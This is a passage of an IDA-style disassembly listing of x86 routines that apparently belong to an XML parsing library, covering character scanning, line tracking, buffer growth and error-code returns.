		jz	short loc_69B35748
		mov	eax, 0C00CE505h
		jmp	short loc_69B3576A
; ---------------------------------------------------------------------------


loc_69B35748:				; CODE XREF: sub_69B355C8+177j
		push	2
		push	offset sub_69B34F0F
		mov	ecx, esi
		mov	word ptr [esi+5Ah], 2Fh
		call	sub_69B320E7
		cmp	eax, ebx
		jge	short loc_69B35768
		jmp	short loc_69B3576A
; ---------------------------------------------------------------------------


loc_69B35762:				; CODE XREF: sub_69B355C8+150j
					; sub_69B355C8+156j
		mov	word ptr [esi+4], 2


loc_69B35768:				; CODE XREF: sub_69B355C8+16Cj
					; sub_69B355C8+196j
		xor	eax, eax


loc_69B3576A:				; CODE XREF: sub_69B355C8+2Ej
					; sub_69B355C8+74j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B355C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3576E	proc near		; DATA XREF: sub_69B3587A:loc_69B358A2o
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+5Ch]
		xor	ebx, ebx
		cmp	[edi], bl
		jz	short loc_69B35786
		mov	eax, 0C00CE500h
		jmp	loc_69B35876
; ---------------------------------------------------------------------------


loc_69B35786:				; CODE XREF: sub_69B3576E+Cj
		push	ebp
		lea	ebp, [esi+52h]
		cmp	word ptr [ebp+0], 3Ch
		jz	short loc_69B357B1
		push	ebx
		push	offset sub_69B35320
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B35875
		pop	ebp
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B35320
; ---------------------------------------------------------------------------


loc_69B357B1:				; CODE XREF: sub_69B3576E+21j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B357C5
		mov	ecx, [esi+34h]
		push	edi
		push	ebp
		call	sub_69B35FE4
		jmp	short loc_69B357CC
; ---------------------------------------------------------------------------


loc_69B357C5:				; CODE XREF: sub_69B3576E+49j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B357CC:				; CODE XREF: sub_69B3576E+55j
		cmp	eax, ebx
		jnz	loc_69B35875
		cmp	[edi], bl
		jz	short loc_69B357E2
		mov	eax, 0C00CE562h
		jmp	loc_69B35875
; ---------------------------------------------------------------------------


loc_69B357E2:				; CODE XREF: sub_69B3576E+68j
		movzx	eax, word ptr [ebp+0]
		cmp	eax, 21h
		jz	short loc_69B35857
		cmp	eax, 2Fh
		push	ebx
		mov	ecx, esi
		jz	short loc_69B3583E
		cmp	eax, 3Fh
		jz	short loc_69B35825
		push	offset sub_69B355C8
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B35875
		cmp	[esi+51h], bl
		jz	short loc_69B35816
		pop	ebp
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B355C8
; ---------------------------------------------------------------------------


loc_69B35816:				; CODE XREF: sub_69B3576E+9Bj
		mov	byte ptr [esi+51h], 1
		mov	dword ptr [esi+44h], 46h
		xor	eax, eax
		jmp	short loc_69B35875
; ---------------------------------------------------------------------------


loc_69B35825:				; CODE XREF: sub_69B3576E+88j
		push	offset sub_69B2132A
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B35875
		pop	ebp
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B2132A
; ---------------------------------------------------------------------------


loc_69B3583E:				; CODE XREF: sub_69B3576E+83j
		push	offset sub_69B34E0B
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B35875
		pop	ebp
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B34E0B
; ---------------------------------------------------------------------------


loc_69B35857:				; CODE XREF: sub_69B3576E+7Bj
		mov	ecx, [esi+34h]
		call	sub_69B35F5B
		cmp	eax, ebx
		jl	short loc_69B35875
		push	0C00CE562h
		push	offset dword_69B26E30
		push	ebx
		mov	ecx, esi
		call	sub_69B347A6


loc_69B35875:				; CODE XREF: sub_69B3576E+32j
					; sub_69B3576E+60j ...
		pop	ebp


loc_69B35876:				; CODE XREF: sub_69B3576E+13j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B3576E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3587A	proc near		; CODE XREF: sub_69B358B8+30p
					; sub_69B35905+4p ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B3588A
		mov	eax, 0C00CE500h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B3588A:				; CODE XREF: sub_69B3587A+7j
		mov	ecx, esi
		call	sub_69B31FE7
		cmp	byte ptr [esi+0A8h], 0
		jz	short loc_69B358A2
		mov	dword ptr [esi], offset	sub_69B347D3
		jmp	short loc_69B358A8
; ---------------------------------------------------------------------------


loc_69B358A2:				; CODE XREF: sub_69B3587A+1Ej
		mov	dword ptr [esi], offset	sub_69B3576E


loc_69B358A8:				; CODE XREF: sub_69B3587A+26j
		push	0
		push	offset sub_69B34DD2
		mov	ecx, esi
		call	sub_69B320E7
		pop	esi
		retn
sub_69B3587A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B358B8	proc near		; CODE XREF: sub_69B398C8+73p
					; sub_69B39A0F+77p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B358ED
		push	58h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B358D6
		push	esi
		mov	ecx, eax
		call	sub_69B35E5C
		jmp	short loc_69B358D8
; ---------------------------------------------------------------------------


loc_69B358D6:				; CODE XREF: sub_69B358B8+12j
		xor	eax, eax


loc_69B358D8:				; CODE XREF: sub_69B358B8+1Cj
		test	eax, eax
		mov	[esi+34h], eax
		jnz	short loc_69B358E6
		mov	eax, 8007000Eh
		jmp	short loc_69B35901
; ---------------------------------------------------------------------------


loc_69B358E6:				; CODE XREF: sub_69B358B8+25j
		mov	ecx, esi
		call	sub_69B3587A


loc_69B358ED:				; CODE XREF: sub_69B358B8+7j
		push	[esp+4+arg_8]
		mov	ecx, [esi+34h]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B35EC2


loc_69B35901:				; CODE XREF: sub_69B358B8+2Cj
		pop	esi
		retn	0Ch
sub_69B358B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35905	proc near		; CODE XREF: sub_69B384B3+17p
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3587A
		mov	edi, [esi+34h]
		test	edi, edi
		jz	short loc_69B35922
		mov	ecx, edi
		call	sub_69B35E77
		push	edi
		call	sub_69B1B2B7


loc_69B35922:				; CODE XREF: sub_69B35905+Ej
		and	dword ptr [esi+34h], 0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_69B35905	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3592B	proc near		; CODE XREF: sub_69B35A2B+7p
					; sub_69B3845F+3Fp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+24h], ebx
		jnz	short loc_69B35940
		cmp	[esi+34h], ebx
		jnz	short loc_69B35940
		call	sub_69B3587A


loc_69B35940:				; CODE XREF: sub_69B3592B+9j
					; sub_69B3592B+Ej
		inc	dword ptr [esi+30h]
		cmp	[esi+50h], bl
		mov	[esi+5Dh], bl
		jz	short loc_69B35960
		mov	ecx, [esi+34h]
		cmp	ecx, ebx
		jz	short loc_69B35960
		push	dword ptr [esi+4Ch]
		call	sub_69B318D1
		mov	[esi+4Ch], ebx
		mov	[esi+50h], bl


loc_69B35960:				; CODE XREF: sub_69B3592B+1Ej
					; sub_69B3592B+25j
		cmp	[esi+34h], ebx
		jz	short loc_69B359DE
		lea	ecx, [esi+1Ch]
		call	sub_69B318FB
		cmp	eax, ebx
		jz	loc_69B359FC
		mov	ecx, [esi+34h]
		mov	dl, [esp+8+arg_4]
		mov	[eax], ecx
		mov	cx, [esi+52h]
		mov	[eax+4], cx
		mov	byte ptr [eax+6], 1
		mov	[eax+7], dl
		mov	cl, [esi+0A9h]
		mov	[eax+8], cl
		mov	ecx, [esi]
		cmp	ecx, offset sub_69B3254F
		jnz	short loc_69B359BA
		cmp	[esi+10h], ebx
		jle	short loc_69B359BA
		mov	ecx, [esi+10h]
		cmp	ecx, ebx
		jnz	short loc_69B359B0
		xor	ecx, ecx
		jmp	short loc_69B359B8
; ---------------------------------------------------------------------------


loc_69B359B0:				; CODE XREF: sub_69B3592B+7Fj
		dec	ecx
		imul	ecx, [esi+8]
		add	ecx, [esi+0Ch]


loc_69B359B8:				; CODE XREF: sub_69B3592B+83j
		mov	ecx, [ecx]


loc_69B359BA:				; CODE XREF: sub_69B3592B+73j
					; sub_69B3592B+78j
		cmp	dl, bl
		mov	[eax+0Ch], ecx
		jz	short loc_69B359C7
		mov	[esi+0A9h], bl


loc_69B359C7:				; CODE XREF: sub_69B3592B+94j
		cmp	[esi+8Eh], bl
		jnz	short loc_69B359DB
		mov	word ptr [esi+52h], 20h
		mov	word ptr [esi+38h], 20h


loc_69B359DB:				; CODE XREF: sub_69B3592B+A2j
		mov	[esi+34h], ebx


loc_69B359DE:				; CODE XREF: sub_69B3592B+38j
		push	58h
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B359F3
		push	esi
		mov	ecx, eax
		call	sub_69B35E5C
		jmp	short loc_69B359F5
; ---------------------------------------------------------------------------


loc_69B359F3:				; CODE XREF: sub_69B3592B+BCj
		xor	eax, eax


loc_69B359F5:				; CODE XREF: sub_69B3592B+C6j
		cmp	eax, ebx
		mov	[esi+34h], eax
		jnz	short loc_69B35A03


loc_69B359FC:				; CODE XREF: sub_69B3592B+44j
		mov	eax, 8007000Eh
		jmp	short loc_69B35A26
; ---------------------------------------------------------------------------


loc_69B35A03:				; CODE XREF: sub_69B3592B+CFj
		cmp	[esp+8+arg_0], ebx
		jz	short loc_69B35A14
		push	[esp+8+arg_0]
		mov	ecx, eax
		call	sub_69B35EA3


loc_69B35A14:				; CODE XREF: sub_69B3592B+DCj
		cmp	word ptr [esi+52h], 20h
		jnz	short loc_69B35A24
		mov	esi, [esi+34h]
		mov	eax, [esi+8]
		mov	[esi+48h], eax


loc_69B35A24:				; CODE XREF: sub_69B3592B+EEj
		xor	eax, eax


loc_69B35A26:				; CODE XREF: sub_69B3592B+D6j
		pop	esi
		pop	ebx
		retn	8
sub_69B3592B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35A2B	proc near		; CODE XREF: sub_69B3773E+46p
					; sub_69B39A0F+A2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	0
		push	0
		mov	esi, ecx
		call	sub_69B3592B
		test	eax, eax
		jl	short loc_69B35A94
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_69B35A4A
		dec	eax
		imul	eax, [esi+1Ch]
		add	eax, [esi+20h]


loc_69B35A4A:				; CODE XREF: sub_69B35A2B+15j
		push	ebx
		mov	bl, [esp+8+arg_8]
		push	0
		push	2
		mov	[eax+6], bl
		mov	ecx, [esi+34h]
		push	offset word_69B26230
		call	sub_69B35EC2
		test	eax, eax
		jl	short loc_69B35A93
		mov	eax, [esp+8+arg_4]
		mov	ecx, [esi+34h]
		push	1
		add	eax, eax
		push	eax
		push	[esp+10h+arg_0]
		call	sub_69B35EC2
		test	eax, eax
		jl	short loc_69B35A93
		test	bl, bl
		jnz	short loc_69B35A93
		cmp	[esi+0A8h], bl
		jz	short loc_69B35A93
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B35A93:				; CODE XREF: sub_69B35A2B+3Aj
					; sub_69B35A2B+53j ...
		pop	ebx


loc_69B35A94:				; CODE XREF: sub_69B35A2B+Ej
		pop	esi
		retn	0Ch
sub_69B35A2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35A98	proc near		; CODE XREF: sub_69B39299+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		push	1
		push	14h
		lea	ecx, [esi+8]
		call	sub_69B88ED8
		push	1
		push	10h
		lea	ecx, [esi+1Ch]
		call	sub_69B88ED8
		mov	eax, [esp+8+arg_0]
		xor	ebx, ebx
		mov	ecx, esi
		mov	dword ptr [esi], offset	sub_69B3587A
		mov	[esi+34h], ebx
		mov	[esi+98h], ebx
		mov	[esi+0A8h], bl
		mov	[esi+0A9h], bl
		mov	[esi+30h], ebx
		mov	[esi+0C4h], eax
		call	sub_69B31FE7
		push	ebx
		mov	ecx, esi
		call	sub_69B31CD2
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B35A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35AF4	proc near		; CODE XREF: sub_69B35E5C+11p
					; sub_69B35EA3+7p ...
		or	dword ptr [ecx+3Ch], 0FFFFFFFFh
		or	dword ptr [ecx+48h], 0FFFFFFFFh
		xor	eax, eax
		xor	edx, edx
		inc	edx
		mov	[ecx+14h], eax
		mov	[ecx+18h], eax
		mov	[ecx+8], eax
		mov	[ecx+20h], edx
		mov	[ecx+28h], edx
		mov	[ecx+24h], eax
		mov	[ecx+2Ch], eax
		mov	[ecx+1Ch], ax
		mov	[ecx+30h], eax
		mov	[ecx+34h], al
		mov	[ecx+38h], eax
		mov	[ecx+35h], al
		mov	[ecx+36h], al
		mov	[ecx+50h], eax
		retn
sub_69B35AF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35B2D	proc near		; CODE XREF: sub_69B32324+83p
					; sub_69B3299B+39p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+8]
		push	ebx
		push	esi
		xor	bl, bl
		cmp	[ecx+48h], eax
		push	edi
		jz	short loc_69B35B3C
		inc	bl


loc_69B35B3C:				; CODE XREF: sub_69B35B2D+Bj
		cmp	eax, [ecx+18h]
		jge	loc_69B35BD5
		mov	edi, [ecx+4]


loc_69B35B48:				; CODE XREF: sub_69B35B2D+A2j
		mov	eax, [ecx+8]
		mov	si, [edi+eax*2]
		movzx	edx, si
		inc	eax
		cmp	edx, 27h
		mov	[ecx+8], eax
		jg	short loc_69B35BA8
		cmp	edx, 26h
		jge	short loc_69B35B76
		sub	edx, 9
		jz	short loc_69B35BA3
		dec	edx
		jz	short loc_69B35B8C
		sub	edx, 3
		jz	short loc_69B35B8C
		sub	edx, 13h
		jz	short loc_69B35BA3
		dec	edx
		dec	edx
		jnz	short loc_69B35BC7


loc_69B35B76:				; CODE XREF: sub_69B35B2D+31j
					; sub_69B35B2D+7Ej ...
		test	bl, bl
		mov	eax, [esp+0Ch+arg_0]
		mov	[eax], si
		jz	short loc_69B35B88
		mov	eax, [esp+0Ch+arg_4]
		mov	byte ptr [eax],	0


loc_69B35B88:				; CODE XREF: sub_69B35B2D+52j
		xor	eax, eax
		jmp	short loc_69B35BE5
; ---------------------------------------------------------------------------


loc_69B35B8C:				; CODE XREF: sub_69B35B2D+39j
					; sub_69B35B2D+3Ej
		cmp	si, 0Dh
		jz	short loc_69B35B99
		cmp	word ptr [ecx+1Ch], 0Dh
		jz	short loc_69B35B9C


loc_69B35B99:				; CODE XREF: sub_69B35B2D+63j
		inc	dword ptr [ecx+20h]


loc_69B35B9C:				; CODE XREF: sub_69B35B2D+6Aj
		mov	[ecx+24h], eax
		mov	[ecx+1Ch], si


loc_69B35BA3:				; CODE XREF: sub_69B35B2D+36j
					; sub_69B35B2D+43j
		mov	[ecx+48h], eax
		jmp	short loc_69B35BC9
; ---------------------------------------------------------------------------


loc_69B35BA8:				; CODE XREF: sub_69B35B2D+2Cj
		cmp	edx, 3Ch
		jz	short loc_69B35B76
		cmp	edx, 3Eh
		jz	short loc_69B35B76
		cmp	edx, 5Dh
		jz	short loc_69B35B76
		cmp	edx, 0FFFDh
		jle	short loc_69B35BC7
		cmp	edx, 0FFFFh
		jle	short loc_69B35BEB


loc_69B35BC7:				; CODE XREF: sub_69B35B2D+47j
					; sub_69B35B2D+90j
		mov	bl, 1


loc_69B35BC9:				; CODE XREF: sub_69B35B2D+79j
		mov	eax, [ecx+8]
		cmp	eax, [ecx+18h]
		jl	loc_69B35B48


loc_69B35BD5:				; CODE XREF: sub_69B35B2D+12j
		test	bl, bl
		jz	short loc_69B35BE0
		mov	eax, [esp+0Ch+arg_4]
		mov	byte ptr [eax],	0


loc_69B35BE0:				; CODE XREF: sub_69B35B2D+AAj
		mov	eax, 8000000Ah


loc_69B35BE5:				; CODE XREF: sub_69B35B2D+5Dj
					; sub_69B35B2D+C3j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_69B35BEB:				; CODE XREF: sub_69B35B2D+98j
		mov	eax, 0C00CE508h
		jmp	short loc_69B35BE5
sub_69B35B2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35BF2	proc near		; CODE XREF: sub_69B3219C+Bj
					; DATA XREF: .text:69B144D0o
		mov	eax, [ecx+28h]
		retn
sub_69B35BF2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B321AF


loc_69B35BF6:				; CODE XREF: sub_69B321AF+Bj
		mov	eax, [ecx+14h]
		mov	ecx, [ecx+2Ch]
		lea	edx, [eax+1]
		cmp	ecx, edx
		jle	short loc_69B35C06
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B35C06:				; CODE XREF: sub_69B321AF+3A52j
		sub	eax, ecx
		inc	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B321AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B321C2


loc_69B35C0A:				; CODE XREF: sub_69B321C2+Bj
		mov	eax, [ecx+30h]
		add	eax, [ecx+14h]
		retn
; END OF FUNCTION CHUNK	FOR sub_69B321C2

; =============== S U B	R O U T	I N E =======================================



sub_69B35C11	proc near		; CODE XREF: sub_69B32091+2Bp
					; sub_69B321D5+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		and	dword ptr [edi], 0
		mov	eax, [ecx+4]
		test	eax, eax
		jz	short loc_69B35C61
		mov	edx, [ecx+2Ch]
		lea	eax, [eax+edx*2]
		mov	dx, [eax]
		push	esi
		xor	esi, esi
		jmp	short loc_69B35C3F
; ---------------------------------------------------------------------------


loc_69B35C2E:				; CODE XREF: sub_69B35C11+31j
		cmp	dx, 0Ah
		jz	short loc_69B35C44
		cmp	dx, 0Dh
		jz	short loc_69B35C44
		inc	esi
		mov	dx, [eax+esi*2]


loc_69B35C3F:				; CODE XREF: sub_69B35C11+1Bj
		test	dx, dx
		jnz	short loc_69B35C2E


loc_69B35C44:				; CODE XREF: sub_69B35C11+21j
					; sub_69B35C11+27j
		mov	[edi], esi
		mov	edx, [ecx+14h]
		mov	ecx, [ecx+2Ch]
		lea	esi, [edx+1]
		cmp	ecx, esi
		pop	esi
		jle	short loc_69B35C58
		xor	edx, edx
		jmp	short loc_69B35C5B
; ---------------------------------------------------------------------------


loc_69B35C58:				; CODE XREF: sub_69B35C11+41j
		sub	edx, ecx
		inc	edx


loc_69B35C5B:				; CODE XREF: sub_69B35C11+45j
		mov	ecx, [esp+4+arg_4]
		mov	[ecx], edx


loc_69B35C61:				; CODE XREF: sub_69B35C11+Dj
		pop	edi
		retn	8
sub_69B35C11	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35C65	proc near		; CODE XREF: sub_69B2132A+342p
					; sub_69B32BA0+245p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short loc_69B35C73
		mov	eax, 80004005h
		jmp	short locret_69B35C8E
; ---------------------------------------------------------------------------


loc_69B35C73:				; CODE XREF: sub_69B35C65+5j
		mov	edx, [ecx+14h]
		lea	eax, [eax+edx*2]
		mov	edx, [esp+arg_0]
		mov	[edx], eax
		mov	eax, [ecx+8]
		sub	eax, [ecx+14h]
		mov	ecx, [esp+arg_4]
		dec	eax
		mov	[ecx], eax
		xor	eax, eax

locret_69B35C8E:			; CODE XREF: sub_69B35C65+Cj
		retn	8
sub_69B35C65	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35C91	proc near		; CODE XREF: sub_69B324CC+42p
		inc	dword ptr [ecx+38h]
		cmp	dword ptr [ecx+38h], 1
		jnz	short locret_69B35CAC
		mov	eax, [ecx+14h]
		mov	[ecx+3Ch], eax
		mov	eax, [ecx+28h]
		mov	[ecx+40h], eax
		mov	eax, [ecx+2Ch]
		mov	[ecx+44h], eax

locret_69B35CAC:			; CODE XREF: sub_69B35C91+7j
		retn
sub_69B35C91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35CAD	proc near		; CODE XREF: sub_69B324CC+17p
		dec	dword ptr [ecx+38h]
		jnz	short locret_69B35CC8
		mov	eax, [ecx+3Ch]
		or	dword ptr [ecx+3Ch], 0FFFFFFFFh
		mov	[ecx+14h], eax
		mov	eax, [ecx+40h]
		mov	[ecx+28h], eax
		mov	eax, [ecx+44h]
		mov	[ecx+2Ch], eax

locret_69B35CC8:			; CODE XREF: sub_69B35CAD+3j
		retn
sub_69B35CAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35CC9	proc near		; CODE XREF: sub_69B35D46+Dp
					; sub_69B35FE4+2Cp
		mov	edx, [ecx+3Ch]
		xor	eax, eax
		test	edx, edx
		jle	short loc_69B35CD9
		mov	ecx, [ecx+44h]
		cmp	ecx, edx
		jmp	short loc_69B35CE7
; ---------------------------------------------------------------------------


loc_69B35CD9:				; CODE XREF: sub_69B35CC9+7j
		mov	edx, [ecx+14h]
		test	edx, edx
		jle	short locret_69B35CF5
		mov	ecx, [ecx+2Ch]
		mov	eax, edx
		cmp	ecx, eax


loc_69B35CE7:				; CODE XREF: sub_69B35CC9+Ej
		jge	short locret_69B35CF5
		sub	edx, ecx
		cmp	edx, 200h
		jge	short locret_69B35CF5
		mov	eax, ecx

locret_69B35CF5:			; CODE XREF: sub_69B35CC9+15j
					; sub_69B35CC9:loc_69B35CE7j ...
		retn
sub_69B35CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35CF6	proc near		; CODE XREF: sub_69B35D39+8j
					; sub_69B35F15+38p
		push	esi
		mov	esi, ecx
		mov	edx, [esi+8]
		add	edx, [esi+30h]
		mov	eax, [esi+50h]
		mov	ecx, [esi]
		and	dword ptr [esi+50h], 0
		push	edx
		push	eax
		call	sub_69B361FC
		cmp	eax, 1
		jnz	short loc_69B35D21
		mov	eax, [esi+8]
		add	eax, [esi+30h]
		mov	[esi+18h], eax
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B35D21:				; CODE XREF: sub_69B35CF6+1Cj
		test	eax, eax
		jge	short loc_69B35D37
		xor	ecx, ecx
		cmp	eax, 80070057h
		setnz	cl
		add	ecx, 0C00CE56Eh
		mov	eax, ecx


loc_69B35D37:				; CODE XREF: sub_69B35CF6+2Dj
		pop	esi
		retn
sub_69B35CF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35D39	proc near		; CODE XREF: sub_69B2132A+25Cp
					; sub_69B33E72+4CFp ...
		cmp	dword ptr [ecx+50h], 0
		mov	byte ptr [ecx+36h], 0
		jnz	short sub_69B35CF6
		xor	eax, eax
		retn
sub_69B35D39	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35D46	proc near		; CODE XREF: sub_69B35F5B+Bp
					; sub_69B35F77+7p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, ecx
		cmp	byte ptr [ebp+36h], 0
		push	esi
		push	edi
		jnz	short loc_69B35DB9
		call	sub_69B35CC9
		mov	esi, eax
		test	esi, esi
		jle	short loc_69B35DB9
		sub	[ebp+18h], esi
		mov	ecx, [ebp+18h]
		mov	eax, [ebp+4]
		add	[ebp+30h], esi
		add	ecx, ecx
		push	ecx
		lea	ecx, [eax+esi*2]
		push	ecx
		push	eax
		call	sub_69B22103
		mov	eax, [ebp+24h]
		sub	[ebp+8], esi
		sub	[ebp+0Ch], esi
		sub	[ebp+48h], esi
		add	esp, 0Ch
		cmp	eax, esi
		jle	short loc_69B35D8E
		sub	eax, esi
		jmp	short loc_69B35D90
; ---------------------------------------------------------------------------


loc_69B35D8E:				; CODE XREF: sub_69B35D46+42j
		xor	eax, eax


loc_69B35D90:				; CODE XREF: sub_69B35D46+46j
		cmp	eax, esi
		mov	[ebp+24h], eax
		jle	short loc_69B35D9E
		mov	eax, [ebp+2Ch]
		sub	eax, esi
		jmp	short loc_69B35DA0
; ---------------------------------------------------------------------------


loc_69B35D9E:				; CODE XREF: sub_69B35D46+4Fj
		xor	eax, eax


loc_69B35DA0:				; CODE XREF: sub_69B35D46+56j
		sub	[ebp+14h], esi
		mov	[ebp+2Ch], eax
		mov	eax, [ebp+44h]
		cmp	eax, esi
		jle	short loc_69B35DB1
		sub	eax, esi
		jmp	short loc_69B35DB3
; ---------------------------------------------------------------------------


loc_69B35DB1:				; CODE XREF: sub_69B35D46+65j
		xor	eax, eax


loc_69B35DB3:				; CODE XREF: sub_69B35D46+69j
		sub	[ebp+3Ch], esi
		mov	[ebp+44h], eax


loc_69B35DB9:				; CODE XREF: sub_69B35D46+Bj
					; sub_69B35D46+16j
		mov	eax, [ebp+10h]
		mov	esi, eax
		sub	esi, [ebp+18h]
		test	esi, esi
		jle	short loc_69B35DC6
		dec	esi


loc_69B35DC6:				; CODE XREF: sub_69B35D46+7Dj
		cmp	dword ptr [ebp+4], 0
		mov	edi, 1000h
		jz	short loc_69B35DD5
		cmp	esi, edi
		jge	short loc_69B35E54


loc_69B35DD5:				; CODE XREF: sub_69B35D46+89j
		test	eax, eax
		mov	ebx, edi
		jz	short loc_69B35DDE
		lea	ebx, [eax+eax]


loc_69B35DDE:				; CODE XREF: sub_69B35D46+93j
		lea	eax, [ebx+ebx]
		push	eax
		call	sub_69B11E44
		test	eax, eax
		mov	[esp+14h+var_4], eax
		jnz	short loc_69B35E14
		mov	ebx, [ebp+10h]
		add	ebx, edi
		lea	eax, [ebx+ebx]
		push	eax
		call	sub_69B11E44
		test	eax, eax
		mov	[esp+14h+var_4], eax
		jnz	short loc_69B35E10
		test	esi, esi
		jnz	short loc_69B35E54
		mov	eax, 8007000Eh
		jmp	short loc_69B35E56
; ---------------------------------------------------------------------------


loc_69B35E10:				; CODE XREF: sub_69B35D46+BDj
		mov	eax, [esp+14h+var_4]


loc_69B35E14:				; CODE XREF: sub_69B35D46+A7j
		mov	esi, [ebp+4]
		test	esi, esi
		jz	short loc_69B35E3C
		mov	ecx, [ebp+18h]
		shl	ecx, 1
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebp+4]
		call	sub_69B1B2B7
		mov	eax, [esp+14h+var_4]


loc_69B35E3C:				; CODE XREF: sub_69B35D46+D3j
		mov	ecx, [ebp+18h]
		and	word ptr [eax+ecx*2], 0
		mov	[ebp+4], eax
		mov	eax, ebx
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+10h], ebx
		mov	[ebp+4Ch], eax


loc_69B35E54:				; CODE XREF: sub_69B35D46+8Dj
					; sub_69B35D46+C1j
		xor	eax, eax


loc_69B35E56:				; CODE XREF: sub_69B35D46+C8j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_69B35D46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35E5C	proc near		; CODE XREF: sub_69B358B8+17p
					; sub_69B3592B+C1p

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+10h], eax
		mov	eax, [esp+arg_0]
		mov	[ecx+54h], eax
		call	sub_69B35AF4
		mov	eax, ecx
		retn	4
sub_69B35E5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35E77	proc near		; CODE XREF: sub_69B32133+Dp
					; sub_69B32133+41p ...
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	sub_69B1B2B7
		push	0
		push	esi
		call	sub_69B17320
		mov	ecx, [esi+50h]
		test	ecx, ecx
		jz	short loc_69B35E97
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B35E97:				; CODE XREF: sub_69B35E77+18j
		and	dword ptr [esi+50h], 0
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B35E77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35EA3	proc near		; CODE XREF: sub_69B3592B+E4p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short loc_69B35EB5
		call	sub_69B35AF4
		push	[esp+arg_0]
		jmp	short loc_69B35EB7
; ---------------------------------------------------------------------------


loc_69B35EB5:				; CODE XREF: sub_69B35EA3+5j
		push	0


loc_69B35EB7:				; CODE XREF: sub_69B35EA3+10j
		push	ecx
		call	sub_69B17320
		xor	eax, eax
		retn	4
sub_69B35EA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35EC2	proc near		; CODE XREF: sub_69B358B8+44p
					; sub_69B35A2B+33p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+34h], 0
		push	edi
		jz	short loc_69B35ED1
		call	sub_69B35AF4


loc_69B35ED1:				; CODE XREF: sub_69B35EC2+8j
		cmp	dword ptr [esi], 0
		jnz	short loc_69B35EF7
		push	0
